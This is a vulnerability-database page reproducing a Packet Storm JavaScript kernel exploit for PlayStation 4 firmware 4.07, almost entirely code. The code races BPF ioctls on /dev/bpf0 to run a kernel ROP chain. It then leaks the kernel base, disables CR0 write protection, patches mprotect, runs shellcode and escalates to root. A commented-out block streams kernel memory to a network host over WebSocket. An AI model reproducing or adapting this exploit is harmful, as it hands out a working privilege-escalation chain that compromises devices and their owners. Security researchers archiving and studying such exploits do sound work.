Lucene search
+L

Sony Playstation 4 (PS4) 4.07 Code Execution

🗓️ 27 Feb 2018 00:00:00Reported by qwertyoruiopType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Sony Playstation 4 (PS4) 4.07 Code Execution functio

Code
`function stage4_()  
{  
function malloc(sz)  
{  
var backing = new Uint8Array(1000+sz);  
window.nogc.push(backing);  
var ptr = p.read8(p.leakval(backing).add32(0x10));  
ptr.backing = backing;  
return ptr;  
}  
function malloc32(sz)  
{  
var backing = new Uint8Array(0x1000+sz*4);  
window.nogc.push(backing);  
var ptr = p.read8(p.leakval(backing).add32(0x10));  
ptr.backing = new Uint32Array(backing.buffer);  
return ptr;  
}  
var strcpy_helper = new Uint8Array(0x1000);  
var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);  
function strcpy(ptr, str)  
{  
p.write8(where_writeptr_strcpy, ptr);  
for (var i = 0; i < str.length; i++)  
strcpy_helper[i] = str.charCodeAt(i) & 0xFF;  
strcpy_helper[str.length] = 0;  
}  
  
  
var sysctlbyname = window.libKernelBase.add32(0xF290);  
var sysreq = malloc32(0x10);  
sysreq.backing[0] = 7;  
sysreq.backing[1] = 0;  
sysreq.backing[4] = 0x10;  
  
var retv = malloc(0x100);  
var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));  
  
  
var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);  
  
var str = "";  
for (var i=0; i<0x10; i++)  
{  
str += zeroFill(retv.backing[i].toString(16),2) + " ";  
}  
  
// log("psid: " + str)  
  
var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;  
var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;  
if (fd == (-1 >>> 0))  
{  
print("kexp failed: no bpf0");  
}  
// print("fd: " + fd);  
  
var scratch = malloc(0x100);  
var ifname = malloc(0x10);  
strcpy(ifname, "wlan0");  
p.syscall("ioctl", fd, 0x8020426c, ifname);  
var ret = p.syscall("write", fd, scratch, 40);  
if (ret.low == (-1 >>> 0))  
{  
strcpy(ifname, "eth0");  
p.syscall("ioctl", fd, 0x8020426c, ifname);  
var ret = p.syscall("write", fd, scratch, 40);  
if (ret.low == (-1 >>> 0))  
{  
throw "kexp failed :(";  
}  
}  
  
var assertcnt = 0;  
var assert = function(x)  
{  
assertcnt++;  
if (!x) throw "assertion " + assertcnt + " failed";  
}  
  
print("got it");  
  
var bpf_valid = malloc32(0x4000);  
var bpf_valid_u32 = bpf_valid.backing;  
var bpf_valid_prog = malloc(0x40);  
p.write8(bpf_valid_prog, 64)  
p.write8(bpf_valid_prog.add32(8), bpf_valid)  
  
for (var i = 0 ; i < 0x4000; )  
{  
bpf_valid_u32[i++] = 6; // BPF_RET  
bpf_valid_u32[i++] = 0;  
}  
  
var bpf_invalid = malloc32(0x4000);  
var bpf_invalid_u32 = bpf_invalid.backing;  
var bpf_invalid_prog = malloc(0x40);  
p.write8(bpf_invalid_prog, 64)  
p.write8(bpf_invalid_prog.add32(8), bpf_invalid)  
  
for (var i = 0 ; i < 0x4000; )  
{  
bpf_invalid_u32[i++] = 4; // NOP  
bpf_invalid_u32[i++] = 0;  
}  
  
var push_bpf = function(bpfbuf, cmd, k)  
{  
var i = bpfbuf.i;  
if (!i) i=0;  
bpfbuf[i*2] = cmd;  
bpfbuf[i*2+1] = k;  
bpfbuf.i = i+1;  
}  
  
push_bpf(bpf_invalid_u32, 5, 2); // jump  
push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode  
bpf_invalid_u32.i = 16;  
  
var bpf_write8imm = function(bpf, offset, imm)  
{  
if (!(imm instanceof int64))  
{  
imm = new int64(imm,0);  
}  
push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM  
push_bpf(bpf, 2, offset); // BPF_ST  
push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM  
push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp  
}  
  
var bpf_copy8 = function(bpf, offset_to, offset_from)  
{  
push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM  
push_bpf(bpf, 2, offset_to); // BPF_ST  
push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM  
push_bpf(bpf, 2, offset_to+1); // BPF_ST  
}  
var bpf_add4 = function(bpf, offset, val)  
{  
push_bpf(bpf, 0x60, offset); // BPF_LD  
push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K  
push_bpf(bpf, 2, offset); // BPF_ST  
}  
  
  
  
var krop_off_init = 0x1e;  
var krop_off = krop_off_init;  
var reset_krop = function() {  
krop_off = krop_off_init;  
bpf_invalid_u32.i = 16;  
}  
var push_krop = function(value)  
{  
bpf_write8imm(bpf_invalid_u32, krop_off, value);  
krop_off += 2;  
}  
var push_krop_fromoff = function(value)  
{  
bpf_copy8(bpf_invalid_u32, krop_off, value);  
krop_off += 2;  
}  
var finalize_krop = function(retv)  
{  
if(!retv) retv = 5;  
push_bpf(bpf_invalid_u32, 6, retv); // return 5  
}  
  
var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);  
assert(rtv.low == 0);  
  
rtv = p.syscall("write", fd, scratch, 40);  
assert(rtv.low == (-1 >>> 0));  
  
var kscratch = malloc32(0x80);  
  
var kchain = new window.RopChain();  
  
kchain.clear();  
kchain.push(window.gadgets["ret"]);   
kchain.push(window.gadgets["ret"]);   
kchain.push(window.gadgets["ret"]);   
kchain.push(window.webKitBase.add32(0x3EBD0));   
  
reset_krop();  
//push_krop(window.gadgets["infloop"]); // 8  
bpf_copy8(bpf_invalid_u32, 0, 0x1e);  
push_krop(window.gadgets["pop rsi"]); // 0x10  
push_krop_fromoff(0);  
push_krop(window.gadgets["pop rsp"]);  
push_krop(kchain.ropframeptr); // 8  
  
finalize_krop(0);  
  
var spawnthread = function(chain) {  
  
/*  
  
  
seg000:00000000007FA7D0 sub_7FA7D0 proc near ; DATA XREF: sub_7F8330+5Eo  
seg000:00000000007FA7D0 55 push rbp  
seg000:00000000007FA7D1 48 89 E5 mov rbp, rsp  
seg000:00000000007FA7D4 41 56 push r14  
seg000:00000000007FA7D6 53 push rbx  
seg000:00000000007FA7D7 48 89 F3 mov rbx, rsi  
seg000:00000000007FA7DA 49 89 FE mov r14, rdi  
seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00 lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this  
  
  
-> xref of sub_7FA7D0:  
  
  
seg000:00000000007F8380 48 8D 3D 28 D8 EC 00 lea rdi, a1_5_18_0 ; "1.5.18"  
seg000:00000000007F8387 48 8D 15 82 23 00 00 lea rdx, sub_7FA710  
seg000:00000000007F838E 48 8D 0D 3B 24 00 00 lea rcx, sub_7FA7D0  
seg000:00000000007F8395 31 F6 xor esi, esi  
seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0  
seg000:00000000007F839F 66 41 C7 47 18 00 00 mov word ptr [r15+18h], 0  
seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0  
seg000:00000000007F83AE E8 8D 3C D3 00 call sub_152C040  
  
-> code:  
  
m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);  
  
  
decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)  
  
decodingFailed -> contains longjmp (which we want)  
  
seg000:00000000007FA710 sub_7FA710 proc near ; DATA XREF: sub_7F8330+57o  
seg000:00000000007FA710 ; sub_7F9DC0+2Eo  
seg000:00000000007FA710 55 push rbp  
seg000:00000000007FA711 48 89 E5 mov rbp, rsp  
seg000:00000000007FA714 48 8B 35 5D B6 E5 02 mov rsi, cs:qword_3655D78  
seg000:00000000007FA71B BA 60 00 00 00 mov edx, 60h ; '`'  
seg000:00000000007FA720 E8 AB E6 D2 00 call sub_1528DD0  
seg000:00000000007FA725 BE 01 00 00 00 mov esi, 1  
seg000:00000000007FA72A 48 89 C7 mov rdi, rax  
seg000:00000000007FA72D E8 26 6D 80 FF call sub_1458 < longjmp  
seg000:00000000007FA732 0F 0B ud2  
seg000:00000000007FA732 sub_7FA710 endp  
  
  
*/  
var longjmp = webKitBase.add32(0x1458);  
  
  
// ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)  
/*  
seg000:00000000001DD17F 48 8D 15 C9 38 4C 01 lea rdx, aWebcoreGccontr ; "WebCore: GCController" < search this  
seg000:00000000001DD186 31 F6 xor esi, esi  
seg000:00000000001DD188 E8 B3 1B F9 00 call sub_116ED40 < createThread  
*/  
  
var createThread = window.webKitBase.add32(0x116ED40);  
  
var contextp = malloc32(0x2000);  
var contextz = contextp.backing;  
contextz[0] = 1337;  
  
var thread2 = new RopChain();  
thread2.clear();  
thread2.push(window.gadgets["ret"]); // nop  
thread2.push(window.gadgets["ret"]); // nop  
thread2.push(window.gadgets["ret"]); // nop  
thread2.push(window.gadgets["ret"]); // nop  
chain(thread2);  
  
p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget  
p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp  
  
p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));  
  
window.nogc.push(contextz);  
window.nogc.push(thread2);  
  
return thread2;  
}  
  
var interrupt1 = 0;  
var interrupt2 = 0;  
// ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc  
spawnthread(function(thread2){  
interrupt1 = thread2.ropframeptr;  
thread2.push(window.gadgets["pop rdi"]); // pop rdi  
thread2.push(fd); // what  
thread2.push(window.gadgets["pop rsi"]); // pop rsi  
thread2.push(0x8010427B); // what  
thread2.push(window.gadgets["pop rdx"]); // pop rdx  
thread2.push(bpf_valid_prog); // what  
thread2.push(window.gadgets["pop rsp"]); // pop rdx  
thread2.push(thread2.ropframeptr.add32(0x800)); // what  
thread2.count = 0x100;  
var cntr = thread2.count;  
thread2.push(window.syscalls[54]); // ioctl  
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl  
  
thread2.push(window.gadgets["pop rsp"]); // pop rdx  
thread2.push(thread2.ropframeptr); // what  
})  
  
// ioctl() with invalid BPF program -> this will be executed when triggering bug  
spawnthread(function(thread2){  
interrupt2 = thread2.ropframeptr;  
thread2.push(window.gadgets["pop rdi"]); // pop rdi  
thread2.push(fd1); // what  
thread2.push(window.gadgets["pop rsi"]); // pop rsi  
thread2.push(0x8010427B); // what  
thread2.push(window.gadgets["pop rdx"]); // pop rdx  
thread2.push(bpf_invalid_prog); // what  
thread2.push(window.gadgets["pop rsp"]); // pop rdx  
thread2.push(thread2.ropframeptr.add32(0x800)); // what  
thread2.count = 0x100;  
var cntr = thread2.count;  
thread2.push(window.syscalls[54]); // ioctl  
thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl  
  
thread2.push(window.gadgets["pop rsp"]); // pop rdx  
thread2.push(thread2.ropframeptr); // what  
})  
  
function kernel_rop_run(cb)  
{  
kchain.clear();  
kchain.push(window.gadgets["ret"]);   
kchain.push(window.gadgets["ret"]);   
kchain.push(window.gadgets["ret"]);   
kchain.push(window.gadgets["ret"]);   
kchain.push(window.gadgets["ret"]);   
kchain.push(window.gadgets["ret"]);   
cb(kchain);  
kchain.push(window.gadgets["pop rax"]);   
kchain.push(0);   
kchain.push(window.gadgets["ret"]);   
kchain.push(window.webKitBase.add32(0x3EBD0));   
while(1)  
{  
if (p.syscall(4, fd, scratch, 40).low == 40)  
{  
return p.read8(kscratch);  
break;  
}  
}  
}  
function leak_kern_rip() {  
return kernel_rop_run(function(kchain)  
{  
kchain.push(window.gadgets["pop rdi"]);   
kchain.push(kscratch);   
kchain.push(window.gadgets["mov [rdi], rsi"]);   
});  
}  
  
function kernel_read8(addr) {  
return kernel_rop_run(function(kchain)  
{  
kchain.push(window.gadgets["pop rdi"]);   
kchain.push(addr);   
kchain.push(window.webKitBase.add32(0x13A220)); // deref  
kchain.push(window.gadgets["pop rdi"]);   
kchain.push(kscratch);   
kchain.push(window.gadgets["mov [rdi], rax"]);   
});  
}  
function kernel_memcpy(to,from,size) {  
return kernel_rop_run(function(kchain)  
{  
kchain.push(window.gadgets["pop rdi"]);   
kchain.push(to);   
kchain.push(window.gadgets["pop rsi"]);   
kchain.push(from);   
kchain.push(window.gadgets["pop rdx"]);   
kchain.push(size);   
kchain.push(window.gadgets["memcpy"]);   
kchain.push(window.gadgets["mov [rdi], rax"]);   
});  
}  
var kern_base = leak_kern_rip();  
kern_base.low &= 0xffffc000;  
kern_base.low -= 0x164000;  
log("ay! " + kernel_read8(kern_base) + " " + kern_base);  
  
/*  
var chunksz = 0x40000;  
var pagebuf = malloc(chunksz);  
  
connection = new WebSocket('ws://192.168.0.125:8080');  
connection.binaryType = "arraybuffer";  
connection.onmessage = function() {  
try {  
kernel_memcpy(pagebuf, kern_base, chunksz);  
connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));  
kern_base.add32inplace(chunksz);  
}catch(e) {log(e);}  
}  
  
  
LOAD:FFFFFFFF9144CF70 0F 20 C0 mov rax, cr0  
LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00 or rax, 5002Ah  
LOAD:FFFFFFFF9144CF79 0F 22 C0 mov cr0, rax  
LOAD:FFFFFFFF9144CF7C C3 retn  
FFFFFFFF91562A58  
*/  
var getset_cr0 = kern_base.add32(0x280f70);  
var set_cr0 = kern_base.add32(0x280f79);  
  
function kernel_get_cr0() {  
return kernel_rop_run(function(kchain)  
{  
kchain.push(getset_cr0);   
kchain.push(window.gadgets["pop rdi"]);   
kchain.push(kscratch);   
kchain.push(window.gadgets["mov [rdi], rax"]);   
});  
}  
  
var cr0val = kernel_get_cr0();  
cr0val.low &= ((~(1 << 16)) >>> 0);  
log("cr0: " + cr0val);  
function kernel_write8_cr0(addr, val) {  
return kernel_rop_run(function(kchain)  
{  
kchain.push(window.gadgets["pop rax"]);   
kchain.push(cr0val);   
kchain.push(set_cr0);  
kchain.push(window.gadgets["pop rdi"]);   
kchain.push(addr);   
kchain.push(window.gadgets["pop rax"]);   
kchain.push(val);   
kchain.push(window.gadgets["mov [rdi], rax"]);  
kchain.push(getset_cr0);  
});  
}  
function kernel_fcall(addr, arg0, arg1) {  
return kernel_rop_run(function(kchain)  
{  
if(arg0)  
{  
kchain.push(window.gadgets["pop rdi"]);  
kchain.push(arg0);  
}  
if(arg1)  
{  
kchain.push(window.gadgets["pop rsi"]);  
kchain.push(arg1);  
}  
kchain.push(addr);  
  
kchain.push(window.gadgets["pop rdi"]);  
kchain.push(kscratch);  
kchain.push(window.gadgets["mov [rdi], rax"]);  
});  
}  
  
var mprotect_patchloc = kern_base.add32(0x396a58);  
var mprotect_patchbytes = kernel_read8(mprotect_patchloc);  
var mprotect_realbytes = mprotect_patchbytes;  
  
log("patchbytes: " + mprotect_patchbytes);  
mprotect_patchbytes.low = 0x90909090;  
mprotect_patchbytes.hi &= 0xffff0000;  
mprotect_patchbytes.hi |= 0x00009090;  
  
  
var shellsize = window.shellcode.byteLength;  
shellsize += 0x4000;  
shellsize &= 0xffffc000;  
  
var shellscratch_to = malloc32((0x10000 + shellsize)/4);  
  
var origin_to = shellscratch_to.low;  
shellscratch_to.low &= 0xffffc000;  
shellscratch_to.low += 0x8000;  
var offset = (shellscratch_to.low - origin_to) / 4;  
  
for (var i=0; i < window.shellcode.length; i++)  
{  
shellscratch_to.backing[i+offset] = window.shellcode[i];  
}  
  
  
kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);  
var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);  
kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);  
if (mapz.low != 0) throw "mprot fail!";  
  
faultme = shellscratch_to.add32(0x0);  
  
for (var i=0; i < window.shellcode.length; i+= 0x1000)  
{  
var bck = p.read8(faultme);  
p.write8(faultme, 0xc3)  
p.fcall(faultme); // test faulting  
p.write8(faultme, bck)  
}  
p.syscall("mlock", shellscratch_to, shellsize);  
var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));  
  
var zarguments = malloc32(0x1000);  
p.write8(zarguments, kern_base);  
p.write8(zarguments.add32(8), fd_kcall);  
p.write8(zarguments.add32(16), interrupt1);  
p.write8(zarguments.add32(24), interrupt2);  
p.write8(zarguments.add32(32), window.syscalls[431]);  
p.write8(zarguments.add32(40), window.syscalls[591]);  
p.write8(zarguments.add32(48), window.syscalls[594]);  
p.write8(zarguments.add32(56), pyld_buf); // pyld  
p.write8(zarguments.add32(64), window.pyldpoint);  
p.write8(zarguments.add32(72), window.pyld.byteLength);  
  
var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;  
  
log(p.read8(shellscratch_to.add32(window.entrypoint)));  
log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));  
p.syscall("setuid", 0);  
log("uid: " + p.syscall("getuid"));  
alert("enter user");  
log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));  
  
var lsscrtch32 = new Uint32Array(0x400);  
var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));  
window.ls = function(path)  
{  
var sep = "/"  
if (path[path.length-1]=="/") sep = "";  
  
var fd = p.syscall("open", p.sptr(path), 0x1100004).low;  
if (fd == (-1 >>> 0))  
{  
print("open("+path+"): -1");  
return;  
}  
  
alert("getdenv");  
  
print("Directory listing for " +path+":");  
var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;  
if (total == (-1 >>> 0))  
{  
print("getdents("+path+"): -1");  
return;  
}  
  
alert("got denv");  
  
var offset = 0;  
while (offset < total)  
{  
var cur = lsscrtch.add32(offset);  
var reclen = p.read4(cur.add32(4)) & 0xFFFF;  
var filepath = path + sep + p.readstr(cur.add32(8));  
print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");  
offset += reclen;  
if(!reclen) break;  
}  
p.syscall("close", fd);  
}  
print("<a href=javascript:window.ls('/');>ls /</a>");  
  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Feb 2018 00:00Current
7.1High risk
Vulners AI Score7.1
26